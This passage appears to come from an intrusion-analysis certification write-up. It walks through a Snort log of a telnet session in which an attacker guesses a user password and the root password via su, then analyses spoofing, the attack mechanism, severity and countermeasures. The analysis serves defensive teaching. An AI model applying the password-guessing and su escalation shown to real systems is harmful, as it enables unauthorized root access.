*****PA* Seq: 0x20AFA6DF   Ack: 0x854B9CD6   Win: 0x7D78
TCP Options => NOP NOP TS: 141598260 17551625
69 6E 63 6F 72 72 65 63 74 20 70 61 73 73 77 6F  incorrect passwo
72 64 0D 0A 1B 5D 30 3B 6A 6F 65 40 65 6C 6D 65  rd...]0;joe@elme
72 3A 20 2F 68 6F 6D 65 2F 6A 6F 65 07 5B 6A 6F  r: /home/joe.[jo
65 40 65 6C 6D 65 72 20 6A 6F 65 5D 24 20        e@elmer joe]$

08/02-16:15:22.636243 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13721  DF
******A* Seq: 0x854B9CD6   Ack: 0x20AFA71D   Win: 0x7D78
TCP Options => NOP NOP TS: 17551627 141598260

08/02-16:15:23.791011 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13722  DF
*****PA* Seq: 0x854B9CD6   Ack: 0x20AFA71D   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 17551742 141598260
73                                                    s

08/02-16:15:23.793077 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2429  DF
*****PA* Seq: 0x20AFA71D   Ack: 0x854B9CD7   Win: 0x7D78
TCP Options => NOP NOP TS: 141598377 17551742
73                                                    s

08/02-16:15:23.806261 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13723  DF
******A* Seq: 0x854B9CD7   Ack: 0x20AFA71E   Win: 0x7D78
TCP Options => NOP NOP TS: 17551744 141598377

08/02-16:15:23.887274 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13724  DF
*****PA* Seq: 0x854B9CD7   Ack: 0x20AFA71E   Win: 0x7D78
TCP Options => NOP NOP TS: 17551752 141598377
75                                                    u

08/02-16:15:23.889117 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2430  DF
*****PA* Seq: 0x20AFA71E   Ack: 0x854B9CD8   Win: 0x7D78
TCP Options => NOP NOP TS: 141598387 17551752
75                                                    u

08/02-16:15:23.906263 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13725  DF
******A* Seq: 0x854B9CD8   Ack: 0x20AFA71F   Win: 0x7D78
TCP Options => NOP NOP TS: 17551754 141598387

08/02-16:15:23.950921 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13726  DF
*****PA* Seq: 0x854B9CD8   Ack: 0x20AFA71F   Win: 0x7D78
TCP Options => NOP NOP TS: 17551758 141598387
20

08/02-16:15:23.952771 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2431  DF
*****PA* Seq: 0x20AFA71F   Ack: 0x854B9CD9   Win: 0x7D78
TCP Options => NOP NOP TS: 141598393 17551758
20

08/02-16:15:23.966265 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13727  DF
******A* Seq: 0x854B9CD9   Ack: 0x20AFA720   Win: 0x7D78
TCP Options => NOP NOP TS: 17551760 141598393

08/02-16:15:24.111269 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13728  DF
*****PA* Seq: 0x854B9CD9   Ack: 0x20AFA720   Win: 0x7D78
TCP Options => NOP NOP TS: 17551774 141598393
72                                                    r

08/02-16:15:24.113141 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2432  DF
*****PA* Seq: 0x20AFA720   Ack: 0x854B9CDA   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 141598409 17551774
72                                                  r

08/02-16:15:24.126265 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13729  DF
******A* Seq: 0x854B9CDA   Ack: 0x20AFA721   Win: 0x7D78
TCP Options => NOP NOP TS: 17551776 141598409

08/02-16:15:24.295346 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13730  DF
*****PA* Seq: 0x854B9CDA   Ack: 0x20AFA721   Win: 0x7D78
TCP Options => NOP NOP TS: 17551792 141598409
6F                                                  o

08/02-16:15:24.297282 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2433  DF
*****PA* Seq: 0x20AFA721   Ack: 0x854B9CDB   Win: 0x7D78
TCP Options => NOP NOP TS: 141598428 17551792
6F                                                  o

08/02-16:15:24.316269 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13731  DF
******A* Seq: 0x854B9CDB   Ack: 0x20AFA722   Win: 0x7D78
TCP Options => NOP NOP TS: 17551795 141598428

08/02-16:15:24.415474 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13732  DF
*****PA* Seq: 0x854B9CDB   Ack: 0x20AFA722   Win: 0x7D78
TCP Options => NOP NOP TS: 17551804 141598428
6F                                                  o

08/02-16:15:24.417989 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2434  DF
*****PA* Seq: 0x20AFA722   Ack: 0x854B9CDC   Win: 0x7D78
TCP Options => NOP NOP TS: 141598440 17551804
6F                                                  o

08/02-16:15:24.436272 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13733  DF
******A* Seq: 0x854B9CDC   Ack: 0x20AFA723   Win: 0x7D78
TCP Options => NOP NOP TS: 17551807 141598440

08/02-16:15:25.424716 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13734  DF
*****PA* Seq: 0x854B9CDC   Ack: 0x20AFA723   Win: 0x7D78
TCP Options => NOP NOP TS: 17551905 141598440
74                                                  t

08/02-16:15:25.426898 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2435  DF
*****PA* Seq: 0x20AFA723   Ack: 0x854B9CDD   Win: 0x7D78
TCP Options => NOP NOP TS: 141598541 17551905
74                                                  t

08/02-16:15:25.446328 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13735  DF
******A* Seq: 0x854B9CDD   Ack: 0x20AFA724   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 17551908 141598541

08/02-16:15:26.041256 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13736  DF
*****PA* Seq: 0x854B9CDD   Ack: 0x20AFA724   Win: 0x7D78
TCP Options => NOP NOP TS: 17551967 141598541
0D 00                                              ..

08/02-16:15:26.043185 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2436  DF
*****PA* Seq: 0x20AFA724   Ack: 0x854B9CDF   Win: 0x7D78
TCP Options => NOP NOP TS: 141598602 17551967
0D 0A                                              ..

08/02-16:15:26.056313 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13737  DF
******A* Seq: 0x854B9CDF   Ack: 0x20AFA726   Win: 0x7D78
TCP Options => NOP NOP TS: 17551969 141598602

08/02-16:15:26.121307 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2437  DF
*****PA* Seq: 0x20AFA726   Ack: 0x854B9CDF   Win: 0x7D78
TCP Options => NOP NOP TS: 141598610 17551969
50 61 73 73 77 6F 72 64 3A 20                  Password:

08/02-16:15:26.136315 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13738  DF
******A* Seq: 0x854B9CDF   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17551977 141598610

08/02-16:15:26.874342 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13739  DF
*****PA* Seq: 0x854B9CDF   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552050 141598610
61                                                 a

08/02-16:15:26.886601 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2438  DF
******A* Seq: 0x20AFA730   Ack: 0x854B9CE0   Win: 0x7D78
TCP Options => NOP NOP TS: 141598687 17552050

08/02-16:15:27.122356 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13740  DF
*****PA* Seq: 0x854B9CE0   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552075 141598687
62                                                 b

08/02-16:15:27.136587 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2439  DF
******A* Seq: 0x20AFA730   Ack: 0x854B9CE1   Win: 0x7D78
TCP Options => NOP NOP TS: 141598712 17552075

08/02-16:15:27.306653 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13741  DF
*****PA* Seq: 0x854B9CE1   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552094 141598712
63                                                 c
```

```
08/02-16:15:27.326586 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2440  DF
******A* Seq: 0x20AFA730   Ack: 0x854B9CE2   Win: 0x7D78
TCP Options => NOP NOP TS: 141598731 17552094

08/02-16:15:28.075468 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13742  DF
*****PA* Seq: 0x854B9CE2   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552170 141598731
31                                              1

08/02-16:15:28.086614 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2441  DF
******A* Seq: 0x20AFA730   Ack: 0x854B9CE3   Win: 0x7D78
TCP Options => NOP NOP TS: 141598807 17552170

08/02-16:15:28.251800 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13743  DF
*****PA* Seq: 0x854B9CE3   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552188 141598807
32                                              2

08/02-16:15:28.266588 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2442  DF
******A* Seq: 0x20AFA730   Ack: 0x854B9CE4   Win: 0x7D78
TCP Options => NOP NOP TS: 141598825 17552188

08/02-16:15:29.637675 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13744  DF
*****PA* Seq: 0x854B9CE4   Ack: 0x20AFA730   Win: 0x7D78
TCP Options => NOP NOP TS: 17552327 141598825
0D 00                                           ..

08/02-16:15:29.640511 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2443  DF
*****PA* Seq: 0x20AFA730   Ack: 0x854B9CE6   Win: 0x7D78
TCP Options => NOP NOP TS: 141598962 17552327
0D 0A                                           ..

08/02-16:15:29.656368 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13745  DF
******A* Seq: 0x854B9CE6   Ack: 0x20AFA732   Win: 0x7D78
TCP Options => NOP NOP TS: 17552329 141598962

08/02-16:15:30.838722 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2444  DF
*****PA* Seq: 0x20AFA732   Ack: 0x854B9CE6   Win: 0x7D78
TCP Options => NOP NOP TS: 141599082 17552329
73 75 3A 20                                     su:

08/02-16:15:30.856410 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13746  DF
******A* Seq: 0x854B9CE6   Ack: 0x20AFA736   Win: 0x7D78
TCP Options => NOP NOP TS: 17552449 141599082

08/02-16:15:30.856703 Linux.mynetwork:23 -> Source.address:1253
```

```
TCP TTL:64 TOS:0x0 ID:2445  DF
*****PA* Seq: 0x20AFA736   Ack: 0x854B9CE6   Win: 0x7D78
TCP Options => NOP NOP TS: 141599084 17552449
69 6E 63 6F 72 72 65 63 74 20 70 61 73 73 77 6F  incorrect passwo
72 64 0D 0A 1B 5D 30 3B 6A 6F 65 40 65 6C 6D 65  rd...]0;joe@elme
72 3A 20 2F 68 6F 6D 65 2F 6A 6F 65 07 5B 6A 6F  r: /home/joe.[jo
65 40 65 6C 6D 65 72 20 6A 6F 65 5D 24 20        e@elmer joe]$

08/02-16:15:30.876377 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13747  DF
******A* Seq: 0x854B9CE6   Ack: 0x20AFA774   Win: 0x7D78
TCP Options => NOP NOP TS: 17552451 141599084

08/02-16:15:32.408464 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13748  DF
*****PA* Seq: 0x854B9CE6   Ack: 0x20AFA774   Win: 0x7D78
TCP Options => NOP NOP TS: 17552604 141599084
73                                                s

08/02-16:15:32.410515 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2446  DF
*****PA* Seq: 0x20AFA774   Ack: 0x854B9CE7   Win: 0x7D78
TCP Options => NOP NOP TS: 141599239 17552604
73                                                s

08/02-16:15:32.426402 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13749  DF
******A* Seq: 0x854B9CE7   Ack: 0x20AFA775   Win: 0x7D78
TCP Options => NOP NOP TS: 17552606 141599239

08/02-16:15:32.512305 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13750  DF
*****PA* Seq: 0x854B9CE7   Ack: 0x20AFA775   Win: 0x7D78
TCP Options => NOP NOP TS: 17552614 141599239
75                                                u

08/02-16:15:32.515016 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2447  DF
*****PA* Seq: 0x20AFA775   Ack: 0x854B9CE8   Win: 0x7D78
TCP Options => NOP NOP TS: 141599249 17552614
75                                                u

08/02-16:15:32.526420 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13751  DF
******A* Seq: 0x854B9CE8   Ack: 0x20AFA776   Win: 0x7D78
TCP Options => NOP NOP TS: 17552616 141599249

08/02-16:15:32.576393 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13752  DF
*****PA* Seq: 0x854B9CE8   Ack: 0x20AFA776   Win: 0x7D78
TCP Options => NOP NOP TS: 17552620 141599249
20

08/02-16:15:32.578277 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2448  DF
*****PA* Seq: 0x20AFA776   Ack: 0x854B9CE9   Win: 0x7D78
TCP Options => NOP NOP TS: 141599256 17552620
```

```
20

08/02-16:15:32.596427 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13753  DF
******A* Seq: 0x854B9CE9   Ack: 0x20AFA777   Win: 0x7D78
TCP Options => NOP NOP TS: 17552623 141599256

08/02-16:15:32.744620 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13754  DF
*****PA* Seq: 0x854B9CE9   Ack: 0x20AFA777   Win: 0x7D78
TCP Options => NOP NOP TS: 17552637 141599256
72                                                  r

08/02-16:15:32.746485 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2449  DF
*****PA* Seq: 0x20AFA777   Ack: 0x854B9CEA   Win: 0x7D78
TCP Options => NOP NOP TS: 141599272 17552637
72                                                  r

08/02-16:15:32.766415 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13755  DF
******A* Seq: 0x854B9CEA   Ack: 0x20AFA778   Win: 0x7D78
TCP Options => NOP NOP TS: 17552640 141599272

08/02-16:15:32.944842 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13756  DF
*****PA* Seq: 0x854B9CEA   Ack: 0x20AFA778   Win: 0x7D78
TCP Options => NOP NOP TS: 17552657 141599272
6F                                                  o

08/02-16:15:32.946763 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2450  DF
*****PA* Seq: 0x20AFA778   Ack: 0x854B9CEB   Win: 0x7D78
TCP Options => NOP NOP TS: 141599293 17552657
6F                                                  o

08/02-16:15:32.966409 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13757  DF
******A* Seq: 0x854B9CEB   Ack: 0x20AFA779   Win: 0x7D78
TCP Options => NOP NOP TS: 17552660 141599293

08/02-16:15:33.057049 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13758  DF
*****PA* Seq: 0x854B9CEB   Ack: 0x20AFA779   Win: 0x7D78
TCP Options => NOP NOP TS: 17552669 141599293
6F                                                  o

08/02-16:15:33.058912 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2451  DF
*****PA* Seq: 0x20AFA779   Ack: 0x854B9CEC   Win: 0x7D78
TCP Options => NOP NOP TS: 141599304 17552669
6F                                                  o

08/02-16:15:33.076413 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13759  DF
******A* Seq: 0x854B9CEC   Ack: 0x20AFA77A   Win: 0x7D78
TCP Options => NOP NOP TS: 17552671 141599304
```

```
08/02-16:15:33.161003 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13760  DF
*****PA* Seq: 0x854B9CEC   Ack: 0x20AFA77A   Win: 0x7D78
TCP Options => NOP NOP TS: 17552679 141599304
74                                                t

08/02-16:15:33.162856 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2452  DF
*****PA* Seq: 0x20AFA77A   Ack: 0x854B9CED   Win: 0x7D78
TCP Options => NOP NOP TS: 141599314 17552679
74                                                t

08/02-16:15:33.176417 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13761  DF
******A* Seq: 0x854B9CED   Ack: 0x20AFA77B   Win: 0x7D78
TCP Options => NOP NOP TS: 17552681 141599314

08/02-16:15:33.457508 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13762  DF
*****PA* Seq: 0x854B9CED   Ack: 0x20AFA77B   Win: 0x7D78
TCP Options => NOP NOP TS: 17552709 141599314
0D 00                                             ..

08/02-16:15:33.459324 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2453  DF
*****PA* Seq: 0x20AFA77B   Ack: 0x854B9CEF   Win: 0x7D78
TCP Options => NOP NOP TS: 141599344 17552709
0D 0A                                             ..

08/02-16:15:33.476456 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13763  DF
******A* Seq: 0x854B9CEF   Ack: 0x20AFA77D   Win: 0x7D78
TCP Options => NOP NOP TS: 17552711 141599344

08/02-16:15:33.538906 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2454  DF
*****PA* Seq: 0x20AFA77D   Ack: 0x854B9CEF   Win: 0x7D78
TCP Options => NOP NOP TS: 141599352 17552711
50 61 73 73 77 6F 72 64 3A 20                     Password:

08/02-16:15:33.556436 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13764  DF
******A* Seq: 0x854B9CEF   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552719 141599352

08/02-16:15:34.186275 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13765  DF
*****PA* Seq: 0x854B9CEF   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552781 141599352
61                                                a

08/02-16:15:34.196611 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2455  DF
******A* Seq: 0x20AFA787   Ack: 0x854B9CF0   Win: 0x7D78
TCP Options => NOP NOP TS: 141599418 17552781
```

```
08/02-16:15:34.474483 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13766  DF
*****PA* Seq: 0x854B9CF0   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552810 141599418
62                                              b

08/02-16:15:34.486595 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2456  DF
******A* Seq: 0x20AFA787   Ack: 0x854B9CF1   Win: 0x7D78
TCP Options => NOP NOP TS: 141599447 17552810

08/02-16:15:34.682666 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13767  DF
*****PA* Seq: 0x854B9CF1   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552831 141599447
63                                              c

08/02-16:15:34.696605 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2457  DF
******A* Seq: 0x20AFA787   Ack: 0x854B9CF2   Win: 0x7D78
TCP Options => NOP NOP TS: 141599468 17552831

08/02-16:15:35.019018 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13768  DF
*****PA* Seq: 0x854B9CF2   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552865 141599468
31                                              1

08/02-16:15:35.036585 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2458  DF
******A* Seq: 0x20AFA787   Ack: 0x854B9CF3   Win: 0x7D78
TCP Options => NOP NOP TS: 141599502 17552865

08/02-16:15:35.235422 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13769  DF
*****PA* Seq: 0x854B9CF3   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552886 141599502
32                                              2

08/02-16:15:35.246611 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2459  DF
******A* Seq: 0x20AFA787   Ack: 0x854B9CF4   Win: 0x7D78
TCP Options => NOP NOP TS: 141599523 17552886

08/02-16:15:35.411448 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13770  DF
*****PA* Seq: 0x854B9CF4   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552904 141599523
33                                              3

08/02-16:15:35.426587 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2460  DF
******A* Seq: 0x20AFA787   Ack: 0x854B9CF5   Win: 0x7D78
TCP Options => NOP NOP TS: 141599541 17552904

08/02-16:15:35.691761 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13771  DF
```

```
*****PA* Seq: 0x854B9CF5   Ack: 0x20AFA787   Win: 0x7D78
TCP Options => NOP NOP TS: 17552932 141599541
0D 00                                          ..

08/02-16:15:35.693841 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2461  DF
*****PA* Seq: 0x20AFA787   Ack: 0x854B9CF7   Win: 0x7D78
TCP Options => NOP NOP TS: 141599567 17552932
0D 0A                                          ..

08/02-16:15:35.706471 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13772  DF
******A* Seq: 0x854B9CF7   Ack: 0x20AFA789   Win: 0x7D78
TCP Options => NOP NOP TS: 17552934 141599567

08/02-16:15:36.468510 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2470  DF
*****PA* Seq: 0x20AFA789   Ack: 0x854B9CF7   Win: 0x7D78
TCP Options => NOP NOP TS: 141599645 17552934
1B 5D 30 3B 6A 6F 65 40 65 6C 6D 65 72 3A 20 2F  .]0;joe@elmer: /
68 6F 6D 65 2F 6A 6F 65 07                       home/joe.

08/02-16:15:36.486490 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13773  DF
******A* Seq: 0x854B9CF7   Ack: 0x20AFA7A2   Win: 0x7D78
TCP Options => NOP NOP TS: 17553012 141599645

08/02-16:15:36.524982 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2471  DF
*****PA* Seq: 0x20AFA7A2   Ack: 0x854B9CF7   Win: 0x7D78
TCP Options => NOP NOP TS: 141599650 17553012
5B 72 6F 6F 74 40 65 6C 6D 65 72 20 6A 6F 65 5D  [root@elmer joe]
23 20                                            #

08/02-16:15:36.536483 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13774  DF
******A* Seq: 0x854B9CF7   Ack: 0x20AFA7B4   Win: 0x7D78
TCP Options => NOP NOP TS: 17553017 141599650
```

1. Source of trace

a. My network

2. Detect was generated by:

08/02-16:15:36.524982[**Date & Time**] Linux.mynetwork:23[**Destination address & port #**] -> Source.address:1253[**Source address & port #**]
TCP[**Protocol**] TTL:64[**Time to Live**] TOS:0x0[**Type of Service**] ID:2471[**ID#**]
DF[**Don't Fragment Flag**] *****PA*[**TCP Flags**] Seq: 0x20AFA7A2[**Sequence #**]
Ack: 0x854B9CF7[**Acknowledge #**] Win: 0x7D78[**Win Size**] **TCP Options** => NOP
NOP TS: 141599650 17553012 5B 72 6F 6F 74 40 65 6C 6D 65 72 20 6A 6F 65 5D
[root@elmer joe][**DATA**]

a. Snort IDS
b. Telnet port 23 Alert

3. Probability source address was spoofed.

a. None, source.address initiates a three-way-handshake by sending a SYN packet with a sequence number of 2236324904, Linux.mynetwork responds with SYN ACK, stating that it is listening on port 23 telnet, and increments the sequence number by 1 (2236324905). The Source.address responds by sending back an ACK stating that it acknowledges that the Linux.mynetwork is listening on port 23 telnet, and adds 1 to the Linux.mynetwork acknowledgement # . Therefore since the communication is going in both directions, and the sequence numbers are corresponding, the source address is not spoofed.

```
16:14:58.709865 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: S
2236324904:2236324904(0) win 32120 <mss 1460,sackOK,timestamp 17549234
0,nop,wscale 0> (DF)
16:14:58.711219 eth0 > Linux.mynetwork.telnet > LSource.address.1253: S
548382173:548382173(0) ack 2236324905 win 32120 <mss
1460,sackOK,timestamp 141595869 17549234,nop,wscale 0> (DF)
16:14:58.711776 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: .
1:1(0) ack 1 win 32120 <nop,nop,timestamp 17549234 141595869> (DF)
```

4. Description of attack.

a. The attack is one of the top ten SANS attacks. The attack is due to poorly administered passwords that have not been checked and have been left with the default passwords set up by the Administrator.
b. The attacker can easily guess a user password and then once logged in as a user try to Switch User to root and gain root privileges.

5. Attack Mechanism:

a. The attacker will initiate a connection from the Source.address on a port above 1023 to the Linux.mynetwork on port 23 (telnet session), using a TCP 3-way-handshake.
b. Once the 3-way-handshake has been completed, the attacker will be presented with a login prompt for username and password. At this point the attacker will try to guess the login name and password, seen in the Snort log above; Login: **Joe** Password: **Password**.
c. In the above log, the attacker successfully guessed a username and password. The attacker was then logged onto the Linux.mynetwork system as user **Joe**.

d. The next step seen in the log, the user Joe made multiple attempts to Switch User to root to gain privileges that the user Joe does not have, superuser privileges.
e. The user Joe (the Attacker) was able to successfully guess the root password as **abc123**, and he was then granted superuser privileges.
f. The attacker now owns the Linux.mynetwork system and can now add accounts or create backdoors for future logins or exploits. The attacker can also use this system as launch points to attack other systems in the future and cause havoc to the system administrator, by changing the root password so that the system administrator can not log in.

6. Correlation:

a. This attack was described on day four of the SANS DC conference by Stephen Northcut (Network Intrusion Analysis).
b. TCPDUMP listed below also shows more correlation of the password attack. This TCPDUMP corresponds with the Snort log when the attacker logged in as Joe and with the correctly guessed password.

```
16:15:09.888369 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: P
145:146(1) ack 174 win 32120 <nop,nop,timestamp 17550352 141596632> (DF)
16:15:09.890769 eth0 > Linux.mynetwork.telnet > LSource.address.1253: P
174:175(1) ack 146 win 32120 <nop,nop,timestamp 141596987 17550352> (DF)
16:15:09.906031 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: .
146:146(0) ack 175 win 32120 <nop,nop,timestamp 17550354 141596987> (DF)
16:15:09.976003 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: P
146:147(1) ack 175 win 32120 <nop,nop,timestamp 17550360 141596987> (DF)
16:15:09.978174 eth0 > Linux.mynetwork.telnet > LSource.address.1253: P
175:176(1) ack 147 win 32120 <nop,nop,timestamp 141596996 17550360> (DF)
16:15:09.996058 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: .
147:147(0) ack 176 win 32120 <nop,nop,timestamp 17550363 141596996> (DF)
16:15:10.128016 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: P
147:148(1) ack 176 win 32120 <nop,nop,timestamp 17550376 141596996> (DF)
16:15:10.129565 eth0 > Linux.mynetwork.telnet > LSource.address.1253: P
176:177(1) ack 148 win 32120 <nop,nop,timestamp 141597011 17550376> (DF)
16:15:10.146059 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: .
148:148(0) ack 177 win 32120 <nop,nop,timestamp 17550378 141597011> (DF)
16:15:10.264134 eth0 < LSource.address.1253 > Linux.mynetwork.telnet: P
148:150(2) ack 177 win 32120 <nop,nop,timestamp 17550389 141597011> (DF)
```

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (4+5) – (2+2) = 5

9. Defensive Countermeasures

a. Develop policies on passwords, must be alphanumeric with a length of eight characters or more.
b. Block all incoming single syn packets at the firewall, if you do not want people initiating tcp communications to this specific system

10. Multiple choice question:

What is the second step in a 3-way-handshake?

A. SYN
B. FIN
C. SYN ACK
D. ACK

Answer C

Detect #3 – (Back)

```
-*> Snort! <*-
Version 1.6-WIN32
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
WIN32 Port By Michael Davis (Mike@eEye.com, www.datasurge.net/~mike)
07/31-13:40:25.958829 Source.address:38989 -> Ntbox.mynetwork:481
TCP TTL:40 TOS:0x0 ID:46638
**S***** Seq: 0xE2CD789D   Ack: 0x0   Win: 0x400
